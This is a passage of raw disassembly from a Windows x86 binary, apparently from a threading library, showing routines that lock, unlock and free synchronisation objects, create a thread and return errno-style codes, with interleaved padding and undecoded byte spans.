--------------------------------------------------------------------------- test eax, eax jnz short loc_42F2EB mov eax, 0Ch pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F2EB: ; CODE XREF: ___:0042F2DCj push ebx push ebp push edi push eax push esi call sub_401A50 lea ebx, [esi+2Ch] mov edi, eax push ebx call sub_402225 mov eax, [esi+34h] add esp, 0Ch test eax, eax mov ebp, 3 jnz loc_42F3C2 mov eax, [esi+30h] test eax, eax jnz loc_42F3C2 cmp [esi+0Ch], ebp jge loc_42F3D5 test edi, edi jz short loc_42F354 push ebx mov [esi+0Ch], ebp mov dword ptr [esi+30h], 1 call sub_4010C3 push 2 call sub_401DD4 ; --------------------------------------------------------------------------- mov eax, [esp+18h] add esp, 8 pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F354: ; CODE XREF: ___:0042F329j mov edi, [esi+4] push edi nop call near ptr 276092Eh push 0 push edi nop call near ptr 27703B3h cmp eax, 102h jnz short loc_42F3E2 lea eax, [esp+14h] mov [esi+0Ch], ebp push eax push edi mov dword ptr [esi+30h], 1 mov dword ptr [esp+1Ch], 10001h nop call near ptr 2760BA5h lea ecx, [esp+14h] mov dword ptr [esp+0CCh], offset loc_42F460 push ecx push edi nop call near ptr 2760D35h push ebx call sub_4010C3 add esp, 4 push edi call near ptr 2770000h nop mov eax, [esp+10h] pop edi pop ebp pop ebx pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- loc_42F3C2: ; CODE XREF: ___:0042F30Dj ; ___:0042F318j cmp [esi+0Ch], ebp jge short loc_42F3D5 mov edx, [esi+38h] push edx nop call near ptr 27701DAh test eax, eax jnz short loc_42F3D9 loc_42F3D5: ; CODE XREF: ___:0042F321j ; ___:0042F3C5j mov [esp+10h], ebp loc_42F3D9: ; CODE XREF: ___:0042F3D3j push ebx call sub_4010C3 add esp, 4 loc_42F3E2: ; CODE XREF: ___:0042F36Cj mov eax, [esp+10h] pop edi pop ebp pop ebx loc_42F3E9: ; CODE XREF: ___:0042F2CFj pop esi add esp, 2D0h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 60h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F460: ; DATA XREF: ___:0042F390o push 2 call sub_401DD4 ; --------------------------------------------------------------------------- pop ecx retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F480 proc near ; CODE XREF: sub_401122j mov eax, dword_50E3EC push esi push eax call sub_401190 sub_42F480 endp ; --------------------------------------------------------------------------- mov esi, eax add esp, 4 test esi, esi jz short loc_42F4BE mov eax, [esp+8] test eax, eax jz short loc_42F4AC mov eax, [esi] test eax, eax jz short loc_42F4AC mov ecx, [esi+4] push ecx call eax add esp, 4 loc_42F4AC: ; CODE XREF: ___:0042F49Bj ; ___:0042F4A1j mov edx, [esi+8] mov eax, dword_50E3EC push edx push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 8 loc_42F4BE: ; CODE XREF: ___:0042F493j mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_42F4F0 proc near ; CODE XREF: sub_401659j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] mov ecx, [esp+arg_8] push esi mov esi, [esp+4+arg_0] mov [esi], eax mov [esi+4], ecx mov edx, dword_50E3EC push edx call sub_401190 sub_42F4F0 endp ; --------------------------------------------------------------------------- mov [esi+8], eax mov eax, dword_50E3EC push esi push eax call sub_4020DB ; --------------------------------------------------------------------------- add esp, 0Ch pop esi retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F540 proc near ; CODE XREF: sub_401B4Fj arg_0 = dword ptr 4 push esi push offset dword_50E940 xor esi, esi call near ptr 7C901005h nop mov ecx, [esp+4+arg_0] mov eax, [ecx] cmp eax, 0FFFFFFFFh jnz short loc_42F574 push esi push ecx call sub_401541 add esp, 8 mov esi, eax push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn ; --------------------------------------------------------------------------- loc_42F574: ; CODE XREF: sub_42F540+17j test eax, eax jnz short loc_42F57D mov esi, 16h loc_42F57D: ; CODE XREF: sub_42F540+36j push offset dword_50E940 nop call near ptr 7C9010EDh mov eax, esi pop esi retn sub_42F540 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5B0: ; CODE XREF: ___:004020FEj push esi push 4 push 1 xor esi, esi call near ptr 77C2C0C3h nop add esp, 8 test eax, eax jnz short loc_42F5D3 mov edx, [esp+8] mov ecx, 0Ch pop esi mov [edx], eax mov eax, ecx retn ; --------------------------------------------------------------------------- loc_42F5D3: ; CODE XREF: ___:0042F5C2j mov ecx, [esp+8] mov [ecx], eax mov eax, esi pop esi retn ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F5F0: ; CODE XREF: ___:004021D0j push esi mov esi, [esp+8] test esi, esi jz short loc_42F613 mov eax, [esi] test eax, eax jz short loc_42F613 push eax call near ptr 77C2C21Bh nop add esp, 4 mov dword ptr [esi], 0 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_42F613: ; CODE XREF: ___:0042F5F7j ; ___:0042F5FDj mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F630: ; CODE XREF: ___:00401005j mov eax, [esp+4] test eax, eax jz short loc_42F64D mov eax, [eax] test eax, eax jz short loc_42F64D mov ecx, [esp+8] test ecx, ecx jz short loc_42F64D mov eax, [eax] mov [ecx], eax xor eax, eax retn ; --------------------------------------------------------------------------- loc_42F64D: ; CODE XREF: ___:0042F636j ; ___:0042F63Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_42F670: ; CODE XREF: ___:004012ADj mov eax, [esp+4] test eax, eax jz short loc_42F69A mov ecx, [eax] test ecx, ecx jz short loc_42F69A mov eax, [esp+8] cmp eax, 1 jz short loc_42F68E test eax, eax jnz short loc_42F69A mov [ecx], eax retn ; --------------------------------------------------------------------------- loc_42F68E: ; CODE XREF: ___:0042F685j mov eax, 28h mov dword ptr [ecx], 0 retn ; --------------------------------------------------------------------------- loc_42F69A: ; CODE XREF: ___:0042F676j ; ___:0042F67Cj ... mov eax, 16h retn ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F6B0 proc near ; CODE XREF: sub_401541j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi xor edi, edi xor esi, esi cmp eax, edi jnz short loc_42F6C6 pop edi mov eax, 16h pop esi retn ; --------------------------------------------------------------------------- loc_42F6C6: ; CODE XREF: sub_42F6B0+Cj mov eax, [esp+8+arg_4] push ebx cmp eax, edi push ebp jz short loc_42F6ED mov eax, [eax] cmp eax, edi jz short loc_42F6ED cmp dword ptr [eax], 1 jnz short loc_42F6ED mov edx, [esp+10h+arg_0] mov edi, 28h pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F6ED: ; CODE XREF: sub_42F6B0+1Ej ; sub_42F6B0+24j ... push 20h push 1 nop call near ptr 77C2C0C3h mov esi, eax add esp, 8 cmp esi, edi jnz short loc_42F712 mov edx, [esp+10h+arg_0] mov edi, 0Ch pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F712: ; CODE XREF: sub_42F6B0+4Ej lea ebp, [esi+10h] push 1 push edi push ebp mov [esi], edi mov [esi+8], edi mov [esi+4], edi call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F737 nop call near ptr 77C1F2BCh mov edi, [eax] jmp short loc_42F77B ; --------------------------------------------------------------------------- loc_42F737: ; CODE XREF: sub_42F6B0+7Bj lea ebx, [esi+0Ch] push 0 push 0 push ebx call sub_401C76 add esp, 0Ch test eax, eax jz short loc_42F755 call near ptr 77C1F2BCh nop mov edi, [eax] jmp short loc_42F772 ; --------------------------------------------------------------------------- loc_42F755: ; CODE XREF: sub_42F6B0+99j lea eax, [esi+14h] push 0 push eax call sub_402199 mov edi, eax add esp, 8 test edi, edi jz short loc_42F7DF push ebx call sub_401686 add esp, 4 loc_42F772: ; CODE XREF: sub_42F6B0+A3j push ebp call sub_401686 add esp, 4 loc_42F77B: ; CODE XREF: sub_42F6B0+85j push esi nop call near ptr 77C2C21Bh add esp, 4 xor esi, esi test edi, edi jnz short loc_42F7D2 loc_42F78B: ; CODE XREF: sub_42F6B0+131j push offset dword_50E9C0 nop call near ptr 7C901005h mov dword ptr [esi+18h], 0 mov ecx, dword_50E3F4 mov [esi+1Ch], ecx mov eax, dword_50E3F4 test eax, eax jz short loc_42F7B2 mov [eax+18h], esi loc_42F7B2: ; CODE XREF: sub_42F6B0+FDj mov eax, dword_50E3F0 mov dword_50E3F4, esi test eax, eax jnz short loc_42F7C7 mov dword_50E3F0, esi loc_42F7C7: ; CODE XREF: sub_42F6B0+10Fj push offset dword_50E9C0 nop call near ptr 7C9010EDh loc_42F7D2: ; CODE XREF: sub_42F6B0+D9j mov edx, [esp+10h+arg_0] pop ebp mov eax, edi pop ebx mov [edx], esi pop edi pop esi retn ; --------------------------------------------------------------------------- loc_42F7DF: ; CODE XREF: sub_42F6B0+B7j xor edi, edi jmp short loc_42F78B sub_42F6B0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42F840 proc near ; CODE XREF: sub_401A91j var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx push ebx push ebp push esi push edi mov edi, [esp+14h+arg_0] xor esi, esi xor ebp, ebp xor ebx, ebx test edi, edi mov [esp+14h+var_4], ebp jz loc_42F9EC mov eax, [edi] test eax, eax jz loc_42F9EC cmp eax, 0FFFFFFFFh jz loc_42F9A3 push offset dword_50E9C0 nop call near ptr 7C901005h mov esi, [edi] lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42F899 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F899: ; CODE XREF: sub_42F840+49j lea ebp, [esi+14h] push ebp call sub_40177B add esp, 4 mov [esp+14h+arg_0], eax test eax, eax jz short loc_42F8C0 push ebx call sub_40103C mov eax, [esp+18h+arg_0] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F8C0: ; CODE XREF: sub_42F840+6Bj mov eax, [esi] mov ecx, [esi+4] cmp eax, ecx jle short loc_42F8F9 push ebx call sub_40103C add esp, 4 test eax, eax jz short loc_42F8E2 nop call near ptr 77C1F2BCh mov ecx, [eax] mov [esp+14h+arg_0], ecx loc_42F8E2: ; CODE XREF: sub_42F840+94j push ebp call sub_4010C3 add esp, 4 mov [esp+14h+var_4], eax mov ebx, 10h jmp loc_42F98E ; --------------------------------------------------------------------------- loc_42F8F9: ; CODE XREF: sub_42F840+87j push ebx mov dword ptr [edi], 0 call sub_401686 mov edi, dword_50FA64 add esp, 4 test eax, eax jz short loc_42F91A call edi ; _errno mov edx, [eax] mov [esp+14h+arg_0], edx loc_42F91A: ; CODE XREF: sub_42F840+D0j lea eax, [esi+0Ch] push eax call sub_401686 add esp, 4 test eax, eax jz short loc_42F932 call edi ; _errno mov ecx, [eax] mov [esp+14h+var_4], ecx loc_42F932: ; CODE XREF: sub_42F840+E8j push ebp call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42F94C push ebp call sub_40222F add esp, 4 mov ebx, eax loc_42F94C: ; CODE XREF: sub_42F840+FFj cmp dword_50E3F0, esi jnz short loc_42F95F mov edx, [esi+18h] mov dword_50E3F0, edx jmp short loc_42F968 ; --------------------------------------------------------------------------- loc_42F95F: ; CODE XREF: sub_42F840+112j mov eax, [esi+1Ch] mov ecx, [esi+18h] mov [eax+18h], ecx loc_42F968: ; CODE XREF: sub_42F840+11Dj cmp dword_50E3F4, esi jnz short loc_42F97B mov edx, [esi+1Ch] mov dword_50E3F4, edx jmp short loc_42F984 ; --------------------------------------------------------------------------- loc_42F97B: ; CODE XREF: sub_42F840+12Ej mov eax, [esi+18h] mov ecx, [esi+1Ch] mov [eax+1Ch], ecx loc_42F984: ; CODE XREF: sub_42F840+139j push esi nop call near ptr 77C2C21Bh add esp, 4 loc_42F98E: ; CODE XREF: sub_42F840+B4j push offset dword_50E9C0 nop call near ptr 7C9010EDh mov esi, [esp+14h+arg_0] mov ebp, [esp+14h+var_4] jmp short loc_42F9D2 ; --------------------------------------------------------------------------- loc_42F9A3: ; CODE XREF: sub_42F840+28j push offset dword_50E940 nop call near ptr 7C901005h cmp dword ptr [edi], 0FFFFFFFFh jnz short loc_42F9BB mov dword ptr [edi], 0 jmp short loc_42F9C7 ; --------------------------------------------------------------------------- loc_42F9BB: ; CODE XREF: sub_42F840+171j mov [esp+14h+arg_0], 10h mov esi, [esp+14h+arg_0] loc_42F9C7: ; CODE XREF: sub_42F840+179j push offset dword_50E940 nop call near ptr 7C9010EDh loc_42F9D2: ; CODE XREF: sub_42F840+161j test esi, esi jz short loc_42F9DE mov eax, esi pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9DE: ; CODE XREF: sub_42F840+194j test ebp, ebp mov eax, ebp jnz short loc_42F9F1 pop edi pop esi mov eax, ebx pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42F9EC: ; CODE XREF: sub_42F840+15j ; sub_42F840+1Fj mov eax, 16h loc_42F9F1: ; CODE XREF: sub_42F840+1A2j pop edi pop esi pop ebp pop ebx pop ecx retn sub_42F840 endp ; --------------------------------------------------------------------------- db 9 dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FA70 proc near ; CODE XREF: sub_401203j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FA70 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FAA0 proc near ; CODE XREF: sub_42FA70+Cp ; sub_42FD70+19p var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 20h push esi mov esi, [esp+24h+arg_0] test esi, esi push edi mov [esp+28h+var_20], 0 jz loc_42FBA9 mov eax, [esi] test eax, eax jz loc_42FBA9 cmp eax, 0FFFFFFFFh jnz short loc_42FAE2 push esi call sub_401B4F add esp, 4 mov [esp+28h+var_20], eax test eax, eax jz short loc_42FAE2 cmp eax, 10h jnz loc_42FBAE loc_42FAE2: ; CODE XREF: sub_42FAA0+26j ; sub_42FAA0+37j mov esi, [esi] lea edi, [esi+10h] push edi call sub_401041 add esp, 4 test eax, eax jz short loc_42FB02 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB02: ; CODE XREF: sub_42FAA0+52j mov ecx, [esi] push edi inc ecx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FB22 nop call near ptr 77C1F2BCh mov eax, [eax] pop edi pop esi add esp, 20h retn ; --------------------------------------------------------------------------- loc_42FB22: ; CODE XREF: sub_42FAA0+72j mov edi, [esp+28h+arg_4] lea ecx, [esp+28h+var_10] push ecx lea edx, [esp+2Ch+var_1C] lea eax, [esp+2Ch+var_20] push offset loc_42FC10 push edx mov [esp+34h+var_10], edi mov [esp+34h+var_C], esi mov [esp+34h+var_8], eax mov [esp+34h+var_4], 0 call sub_401659 ; --------------------------------------------------------------------------- dw 0E857h dd 0FFFD156Bh, 8910C483h, 85082444h, 8B2775C0h, 83342444h dd 56500CC6h, 0FD1D27E8h, 8C483FFh, 0E74C085h, 0F73EE890h dd 8B777Eh, 8244489h, 448B04EBh, 0C9330824h, 0C085016Ah dd 89C1940Fh, 0E828244Ch, 0FFFD1586h, 0C24448Bh, 5F04C483h dd 20C4835Eh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- loc_42FBA9: ; CODE XREF: sub_42FAA0+13j ; sub_42FAA0+1Dj mov eax, 16h loc_42FBAE: ; CODE XREF: sub_42FAA0+3Cj pop edi pop esi add esp, 20h retn sub_42FAA0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_42FC10: ; DATA XREF: sub_42FAA0+93o push ecx push ebx push ebp mov ebp, [esp+10h] push esi push edi mov esi, [ebp+4] mov ebx, [ebp+8] mov [esp+18h], ebx lea edi, [esi+14h] push edi call sub_402225 add esp, 4 test eax, eax jz short loc_42FC3B pop edi pop esi mov [ebx], eax pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC3B: ; CODE XREF: ___:0042FC31j mov ebx, [esi+8] test ebx, ebx mov [esp+10h], ebx jz short loc_42FC4E lea eax, [ebx-1] mov [esi+8], eax jmp short loc_42FCB7 ; --------------------------------------------------------------------------- loc_42FC4E: ; CODE XREF: ___:0042FC44j mov ecx, [esi+4] inc ecx mov eax, ecx mov [esi+4], ecx cmp eax, 3FFFFFFFh jnz short loc_42FCB7 lea ebx, [esi+10h] push ebx call sub_401041 add esp, 4 test eax, eax jz short loc_42FC82 nop call near ptr 77C1F2BCh mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FC82: ; CODE XREF: ___:0042FC6Cj mov eax, [esi+4] mov ecx, [esi] sub ecx, eax push ebx mov [esi], ecx call sub_40103C add esp, 4 test eax, eax jz short loc_42FCAC call near ptr 77C1F2BCh nop mov edx, [esp+18h] mov ecx, [eax] pop edi pop esi pop ebp mov [edx], ecx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCAC: ; CODE XREF: ___:0042FC96j mov ebx, [esp+10h] mov dword ptr [esi+4], 0 loc_42FCB7: ; CODE XREF: ___:0042FC4Cj ; ___:0042FC5Cj push edi call sub_4010C3 add esp, 4 test eax, eax jz short loc_42FCD0 mov ecx, [esp+18h] pop edi pop esi pop ebp mov [ecx], eax pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCD0: ; CODE XREF: ___:0042FCC2j cmp ebx, 1 jnz short loc_42FCF9 add esi, 10h push esi call sub_40103C add esp, 4 test eax, eax jz short loc_42FCF9 nop call near ptr 77C1F2BCh mov edx, [eax] mov eax, [esp+18h] pop edi pop esi pop ebp mov [eax], edx pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42FCF9: ; CODE XREF: ___:0042FCD3j ; ___:0042FCE3j mov ecx, [ebp+0] push ecx call sub_402225 add esp, 4 test eax, eax jz short loc_42FD0F mov edx, [esp+18h] mov [edx], eax loc_42FD0F: ; CODE XREF: ___:0042FD07j pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FD70 proc near ; CODE XREF: sub_4011E0j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_8] test eax, eax jnz short loc_42FD7E mov eax, 16h retn ; --------------------------------------------------------------------------- loc_42FD7E: ; CODE XREF: sub_42FD70+6j mov ecx, [esp+arg_0] push eax mov eax, [esp+4+arg_4] push eax push ecx call sub_42FAA0 add esp, 0Ch retn sub_42FD70 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDB0 proc near ; CODE XREF: sub_401E51j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_42FDD0 add esp, 8 retn sub_42FDB0 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FDD0 proc near ; CODE XREF: sub_42FDB0+7p ; sub_42FF30+7p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push ebx push esi push edi test eax, eax jz loc_42FED4 mov esi, [eax] test esi, esi jz loc_42FED4 cmp esi, 0FFFFFFFFh jnz short loc_42FDF4 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_42FDF4: ; CODE XREF: sub_42FDD0+1Cj lea ebx, [esi+14h] push ebx call sub_402225 add esp, 4 test eax, eax jnz loc_42FED9 mov ecx, [esi+8] mov eax, [esi] test ecx, ecx jz short loc_42FE44 test eax, eax jnz short loc_42FE22 loc_42FE15: ; CODE XREF: sub_42FDD0+77j push ebx call sub_4010C3 add esp, 4 pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE22: ; CODE XREF: sub_42FDD0+43j mov edx, [esp+0Ch+arg_4] test edx, edx jz short loc_42FE39 mov edi, eax mov dword ptr [esi], 0 add ecx, edi mov [esi+8], ecx jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE39: ; CODE XREF: sub_42FDD0+58j inc ecx mov edi, 1 mov [esi+8], ecx jmp short loc_42FEA3 ; --------------------------------------------------------------------------- loc_42FE44: ; CODE XREF: sub_42FDD0+3Fj cmp eax, [esi+4] jle short loc_42FE15 lea ecx, [esi+10h] push ecx call sub_401041 add esp, 4 test eax, eax jz short loc_42FE70 nop call near ptr 77C1F2BCh mov esi, [eax] push ebx call sub_4010C3 add esp, 4 mov eax, esi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FE70: ; CODE XREF: sub_42FDD0+87j mov eax, [esi+4] test eax, eax jz short loc_42FE84 mov ecx, [esi] mov dword ptr [esi+4], 0 sub ecx, eax mov [esi], ecx loc_42FE84: ; CODE XREF: sub_42FDD0+A5j mov eax, [esp+0Ch+arg_4] test eax, eax jz short loc_42FE99 mov edi, [esi] mov dword ptr [esi], 0 mov [esi+8], edi jmp short loc_42FEA6 ; --------------------------------------------------------------------------- loc_42FE99: ; CODE XREF: sub_42FDD0+BAj mov eax, [esi] mov edi, 1 mov [esi+8], edi loc_42FEA3: ; CODE XREF: sub_42FDD0+72j dec eax mov [esi], eax loc_42FEA6: ; CODE XREF: sub_42FDD0+67j ; sub_42FDD0+C7j push ebx call sub_4010C3 mov ebx, eax add esp, 4 test ebx, ebx jnz short loc_42FECE add esi, 0Ch push edi push esi call sub_40204A add esp, 8 test eax, eax jz short loc_42FECE nop call near ptr 77C1F2BCh mov ebx, [eax] loc_42FECE: ; CODE XREF: sub_42FDD0+E3j ; sub_42FDD0+F4j pop edi mov eax, ebx pop esi pop ebx retn ; --------------------------------------------------------------------------- loc_42FED4: ; CODE XREF: sub_42FDD0+9j ; sub_42FDD0+13j mov eax, 16h loc_42FED9: ; CODE XREF: sub_42FDD0+32j pop edi pop esi pop ebx retn sub_42FDD0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 50h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF30 proc near ; CODE XREF: sub_401604j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_42FDD0 add esp, 8 retn sub_42FF30 endp ; --------------------------------------------------------------------------- db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_42FF50 proc near ; CODE XREF: sub_40123Aj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ecx push ebx push esi push edi mov edi, 0Bh xor ebx, ebx call sub_401B13 mov esi, eax test esi, esi jz loc_430026 mov eax, [esi+28h] push 0Ch mov [esp+14h+var_4], eax nop call near ptr 77C2C407h mov ebx, eax add esp, 4 test ebx, ebx jz loc_430026 mov ecx, [esp+10h+arg_8] mov edx, [esp+10h+arg_C] push ebp mov ebp, [esp+14h+arg_4] test ebp, ebp mov [ebx], esi mov [ebx+4], ecx mov [ebx+8], edx jz short loc_42FFCE mov eax, [ebp+0] test eax, eax jz short loc_42FFCE mov edi, [eax+8] mov eax, [eax+0Ch] mov [esi+20h], eax mov eax, [ebp+0] mov ecx, [eax+10h] mov [esp+14h+var_4], ecx mov ecx, [eax+14h] test ecx, ecx jnz short loc_42FFD0 call sub_4012E4 ; --------------------------------------------------------------------------- mov edx, [eax+28h] mov [esp+14h+var_4], edx jmp short loc_42FFD0 ; --------------------------------------------------------------------------- loc_42FFCE: ; CODE XREF: sub_42FF50+4Dj ; sub_42FF50+54j xor edi, edi loc_42FFD0: ; CODE XREF: sub_42FF50+6Ej ; sub_42FF50+7Cj push esi push 4 push ebx xor eax, eax push offset loc_401B95 push edi push eax mov [esi+0Ch], eax mov [esi+80h], eax nop call near ptr 77C3A3DBh mov edi, eax add esp, 18h test edi, edi mov [esi+4], edi jz short loc_430019 test ebp, ebp jz short loc_430012 cmp dword ptr [ebp+0], 0 jz short loc_430012 mov eax, [esp+14h+var_4] push eax push 0 push esi call sub_4020B3 add esp, 0Ch loc_430012: ; CODE XREF: sub_42FF50+AAj ; sub_42FF50+B0j push edi nop call near ptr 2770000h loc_430019: ; CODE XREF: sub_42FF50+A6j neg edi sbb edi, edi pop ebp and edi, 0FFFFFFF5h add edi, 0Bh jz short loc_430059 loc_430026: ; CODE XREF: sub_42FF50+14j ; sub_42FF50+30j push esi call sub_4017AD add esp, 4 xor esi, esi test ebx, ebx jz short loc_43004C push ebx call near ptr 77C2C21Bh nop mov ecx, [esp+14h+arg_0] add esp, 4 mov eax, edi mov [ecx], esi pop edi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_43004C: ; CODE XREF: sub_42FF50+E3j mov edx, [esp+10h+arg_0] mov eax, edi pop edi mov [edx], esi pop esi pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_430059: ; CODE XREF: sub_42FF50+D4j mov eax, [esp+10h+arg_0] mov [eax], esi mov eax, edi pop edi pop esi pop ebx pop ecx retn sub_42FF50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_4300C0: ; CODE XREF: ___:00401343j mov ecx, [esp+8] mov eax, 1 cmp ecx, 3 ; switch 4 cases ja short locret_4300F7 ; default jmp off_4300FC[ecx*4] ; switch jump loc_4300D5: ; DATA XREF: ___:off_4300FCo call sub_401708 ; jumptable 004300CE case 1 retn 0Ch ; --------------------------------------------------------------------------- loc_4300DD: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017B2 ; jumptable 004300CE case 2 retn 0Ch ; --------------------------------------------------------------------------- loc_4300E5: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 3 retn 0Ch ; --------------------------------------------------------------------------- loc_4300ED: ; CODE XREF: ___:004300CEj ; DATA XREF: ___:off_4300FCo call sub_4017C1 ; jumptable 004300CE case 0 call sub_40161D locret_4300F7: ; CODE XREF: ___:004300CCj retn 0Ch ; default ; --------------------------------------------------------------------------- align 4 off_4300FC dd offset loc_4300ED ; DATA XREF: ___:004300CEr dd offset loc_4300D5 ; jump table for switch statement dd offset loc_4300DD dd offset loc_4300E5 db 4 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_430130: ; CODE XREF: ___:004017B7j mov eax, dword_50E3E8 push esi push edi push eax call sub_401190 ; --------------------------------------------------------------------------- db 8Bh, 7Ch, 24h dd 83F08B10h, 0F68504C4h, 90570A75h, 80A1B6E8h, 4C48377h dd 7E89016Ah, 1C76E814h, 0C483FFFDh, 0C35E5F04h, 3 dup(90909090h) dd 4 dup(0CCCCCCCCh) ; =============== S U B R O U T I N E ======================================= sub_430180 proc near ; CODE XREF: sub_401758j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push offset dword_50E900 xor esi, esi nop call near ptr 7C901005h mov eax, [esp+4+arg_0] test eax, eax jz short loc_4301AB mov eax, [eax+4] test eax, eax jz short loc_4301AB push eax call near ptr 27606C1h nop cmp eax, 7FFFFFFFh jnz short loc_4301B0 loc_4301AB: ; CODE XREF: sub_430180+14j ; sub_430180+1Bj mov esi, 3 loc_4301B0: ; CODE XREF: sub_430180+29j push offset dword_50E900 nop call near ptr 7C9010EDh test esi, esi jnz short loc_4301CC mov eax, [esp+4+arg_4] test eax, eax mov eax, 16h jnz short loc_4301CE loc_4301CC: ; CODE XREF: sub_430180+3Dj mov eax, esi loc_4301CE: ; CODE XREF: sub_430180+4Aj pop esi retn sub_430180 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4301F0: ; CODE XREF: ___:0040164Aj push ebx push esi mov esi, [esp+0Ch] push edi test esi, esi jz short loc_430241 mov edi, [esp+14h] test edi, edi jz short loc_430241 mov eax, [esi] xor ebx, ebx test eax, eax jnz short loc_430221 lea eax, [esi+4] push eax call near ptr 276064Ch nop test eax, eax jnz short loc_430227 call edi ; _errno mov dword ptr [esi], 1 loc_430221: ; CODE XREF: ___:00430209j ; ___:0043022Aj pop edi mov eax, ebx pop esi pop ebx retn ; 